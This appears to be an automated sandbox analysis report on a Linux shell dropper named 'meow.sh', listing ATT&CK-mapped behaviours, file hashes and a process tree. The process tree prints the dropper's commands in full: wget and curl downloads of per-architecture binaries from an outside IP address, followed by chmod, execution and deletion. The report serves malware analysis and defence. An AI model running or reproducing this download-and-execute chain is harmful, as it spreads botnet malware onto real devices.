50cffb0f65d31b38f5b222955d92879a3e102d0a0d9a3625ed87fb7834fab210

Analysis

max time kernel
150s
max time network
147s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
24/07/2026, 12:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
meow.sh
Size 1KB
Sample260724-pl4etsgb68
SHA256 50cffb0f65d31b38f5b222955d92879a3e102d0a0d9a3625ed87fb7834fab210
MD5 b7f8b2bfb7b1e62622d217c4d52ba122
SHA1 1356b1db6e1965c092cc4b28849ce7150d1ca4e7
SHA512 43e03511a5f8f9d11f39c3edc36768984eda195ff9334b294660f292de8d1208d0511c7b52e8d899f47c22a286b541ecffbbd44751472a24dab12e3c357b5acb
TLSH
T185116DC532906F72FC95AB2B76A6441870C795E651CF4FD458DD3DE4898DE04F443642
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
765	chmod
770	chmod
775	chmod
780	chmod
785	chmod
758	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/armv4l	759	meow.sh

Renames itself 1 IoCs

pid	Process
759	armv4l

Enumerates running processes
Discovers information about currently running processes on the system

Reads MAC address of network interface 2 TTPs 1 IoCs

Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

defense_evasion discovery

System Network Connections Discovery

T1049

Wi-Fi Discovery

T1016.002

description	ioc	Process
File opened for reading	/sys/class/net/eth0/address	armv4l

Reads network interface configuration 2 TTPs 2 IoCs

Fetches information about one or more active network interfaces.

discovery

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/sys/class/net/eth0/flags	armv4l
File opened for reading	/sys/class/net/eth0/carrier	armv4l

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	udhcpc	759	armv4l

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/class/net	armv4l

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/756/cmdline	armv4l
File opened for reading	/proc/799/cmdline	armv4l
File opened for reading	/proc/19/cmdline	armv4l
File opened for reading	/proc/26/cmdline	armv4l
File opened for reading	/proc/289/cmdline	armv4l
File opened for reading	/proc/587/cmdline	armv4l
File opened for reading	/proc/638/cmdline	armv4l
File opened for reading	/proc/797/cmdline	armv4l
File opened for reading	/proc/800/cmdline	armv4l
File opened for reading	/proc/807/cmdline	armv4l
File opened for reading	/proc/2/cmdline	armv4l
File opened for reading	/proc/21/cmdline	armv4l
File opened for reading	/proc/650/cmdline	armv4l
File opened for reading	/proc/813/cmdline	armv4l
File opened for reading	/proc/817/cmdline	armv4l
File opened for reading	/proc/5/cmdline	armv4l
File opened for reading	/proc/14/cmdline	armv4l
File opened for reading	/proc/283/cmdline	armv4l
File opened for reading	/proc/337/cmdline	armv4l
File opened for reading	/proc/763/cmdline	armv4l
File opened for reading	/proc/798/cmdline	armv4l
File opened for reading	/proc/803/cmdline	armv4l
File opened for reading	/proc/41/cmdline	armv4l
File opened for reading	/proc/114/cmdline	armv4l
File opened for reading	/proc/651/cmdline	armv4l
File opened for reading	/proc/774/cmdline	armv4l
File opened for reading	/proc/811/cmdline	armv4l
File opened for reading	/proc/815/cmdline	armv4l
File opened for reading	/proc/24/cmdline	armv4l
File opened for reading	/proc/157/cmdline	armv4l
File opened for reading	/proc/323/cmdline	armv4l
File opened for reading	/proc/327/cmdline	armv4l
File opened for reading	/proc/760/cmdline	armv4l
File opened for reading	/proc/810/cmdline	armv4l
File opened for reading	/proc/4/cmdline	armv4l
File opened for reading	/proc/25/cmdline	armv4l
File opened for reading	/proc/42/cmdline	armv4l
File opened for reading	/proc/103/cmdline	armv4l
File opened for reading	/proc/113/cmdline	armv4l
File opened for reading	/proc/315/cmdline	armv4l
File opened for reading	/proc/591/cmdline	armv4l
File opened for reading	/proc/783/cmdline	armv4l
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/6/cmdline	armv4l
File opened for reading	/proc/7/cmdline	armv4l
File opened for reading	/proc/9/cmdline	armv4l
File opened for reading	/proc/11/cmdline	armv4l
File opened for reading	/proc/228/cmdline	armv4l
File opened for reading	/proc/789/cmdline	armv4l
File opened for reading	/proc/791/cmdline	armv4l
File opened for reading	/proc/3/cmdline	armv4l
File opened for reading	/proc/16/cmdline	armv4l
File opened for reading	/proc/28/cmdline	armv4l
File opened for reading	/proc/111/cmdline	armv4l
File opened for reading	/proc/592/cmdline	armv4l
File opened for reading	/proc/761/cmdline	armv4l
File opened for reading	/proc/773/cmdline	armv4l
File opened for reading	/proc/self/exe	armv4l
File opened for reading	/proc/10/cmdline	armv4l
File opened for reading	/proc/20/cmdline	armv4l
File opened for reading	/proc/164/cmdline	armv4l
File opened for reading	/proc/273/cmdline	armv4l
File opened for reading	/proc/649/cmdline	armv4l
File opened for reading	/proc/795/cmdline	armv4l

System Network Configuration Discovery 1 TTPs 8 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
764	curl
766	.mips
767	rm
768	wget
769	curl
771	mipsel
772	rm
763	wget

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/armv4l	wget
File opened for modification	/tmp/armv4l	curl

/tmp/meow.sh
/tmp/meow.sh
1⤵
- Executes dropped EXE
PID:651
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Writes file to tmp directory
  PID:655
- /usr/bin/wget
  wget http://94.154.43.164/armv4l
  2⤵
  - Writes file to tmp directory
  PID:663
- /usr/bin/curl
  curl -O http://94.154.43.164/armv4l
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:757
- /bin/chmod
  chmod +x armv4l busybox meow.sh systemd-private-a396385889dd43a1bd8404606af84a60-systemd-timedated.service-6DY8U8
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/armv4l
  ./armv4l armv4l
  2⤵
  - Renames itself
  - Reads MAC address of network interface
  - Reads network interface configuration
  - Changes its process name
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:759
- /bin/rm
  rm -rf armv4l
  2⤵
  PID:761
- /usr/bin/wget
  wget http://94.154.43.164/mips
  2⤵
  - System Network Configuration Discovery
  PID:763
- /usr/bin/curl
  curl -O http://94.154.43.164/mips
  2⤵
  - System Network Configuration Discovery
  PID:764
- /bin/chmod
  chmod +x busybox libcow.so meow.sh systemd-private-a396385889dd43a1bd8404606af84a60-systemd-timedated.service-6DY8U8
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/.mips
  ./.mips mips
  2⤵
  - System Network Configuration Discovery
  PID:766
- /bin/rm
  rm -rf mips
  2⤵
  - System Network Configuration Discovery
  PID:767
- /usr/bin/wget
  wget http://94.154.43.164/mipsel
  2⤵
  - System Network Configuration Discovery
  PID:768
- /usr/bin/curl
  curl -O http://94.154.43.164/mipsel
  2⤵
  - System Network Configuration Discovery
  PID:769
- /bin/chmod
  chmod +x busybox libcow.so meow.sh systemd-private-a396385889dd43a1bd8404606af84a60-systemd-timedated.service-6DY8U8
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/mipsel
  ./mipsel mipsel
  2⤵
  - System Network Configuration Discovery
  PID:771
- /bin/rm
  rm -rf mipsel
  2⤵
  - System Network Configuration Discovery
  PID:772
- /usr/bin/wget
  wget http://94.154.43.164/armv5l
  2⤵
  PID:773
- /usr/bin/curl
  curl -O http://94.154.43.164/armv5l
  2⤵
  PID:774
- /bin/chmod
  chmod +x busybox libcow.so meow.sh systemd-private-a396385889dd43a1bd8404606af84a60-systemd-timedated.service-6DY8U8
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /tmp/armv5l
  ./armv5l armv5l
  2⤵
  PID:776
- /bin/rm
  rm -rf armv5l
  2⤵
  PID:777
- /usr/bin/wget
  wget http://94.154.43.164/i686
  2⤵
  PID:778
- /usr/bin/curl
  curl -O http://94.154.43.164/i686
  2⤵
  PID:779
- /bin/chmod
  chmod +x busybox libcow.so meow.sh systemd-private-a396385889dd43a1bd8404606af84a60-systemd-timedated.service-6DY8U8
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/i686
  ./i686 i686
  2⤵
  PID:781
- /bin/rm
  rm -rf i686
  2⤵
  PID:782
- /usr/bin/wget
  wget http://94.154.43.164/armv7l
  2⤵
  PID:783
- /usr/bin/curl
  curl -O http://94.154.43.164/armv7l
  2⤵
  PID:784
- /bin/chmod
  chmod +x busybox libcow.so meow.sh systemd-private-a396385889dd43a1bd8404606af84a60-systemd-timedated.service-6DY8U8
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/armv7l
  ./armv7l armv7l
  2⤵
  PID:786
- /bin/rm
  rm -rf armv7l
  2⤵
  PID:787

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

armv4l

Path /tmp/armv4l
Size 93KB
SHA256 ef42e6fd238baa990731f2ab20d130c489c1689588c5842713f28b4e90724019
MD5 448ba09e54af0197023998b7fde8c9be
SHA1 221f4d4c06a01399bd975f18da17c07b82764925
SHA512 2d20e87d495145e93ed60ad5ed7e366b72d3dc964b7673844081d45de38c00de2f96e0d7b4ff3948d9858b0aceba5c1155d95a4f0acc2bbe59c80ce1abb7e64d
SSDEEP 1536:8N8/F7AHaT6ZVyEpTgxLuUstaESnYBdQFUBhazHA+Ho1Wm2od4kT4z5En:h/LT6ZVHGxLuLtaESnYPQFUDazHkYoPN
TLSH
T129934B46BD81DB42C6E82376BA5D82CC332603F8D2EA7106DD265F6137DB81B0E7B651
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

busybox

Path /tmp/busybox
Size 507KB
SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
MD5 e588bcf03ae78237b58899d35f50c570
SHA1 2194732ebbefbc27bdae876c77f2a97a20175710
SHA512 904d906ec73ba5f828ee453acfceaf60d07b337a4baf1a88a2edba8d4568e4a3ceae2e24116af0a5b9c8ad194faa72abb62a72d30ae236b0852827c7bf896555
SSDEEP 12288:KKCUYnMx/qAPbFabrimkuc+GnCIRki2jEyfbPxG3:KKqKqsbF2ZjGIrPfbPxG3
TLSH
T1EEB4E0C9FD812D83C6C3823D32021C759575D5DDB3AA921A322DA0FB3768AB653DE394
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads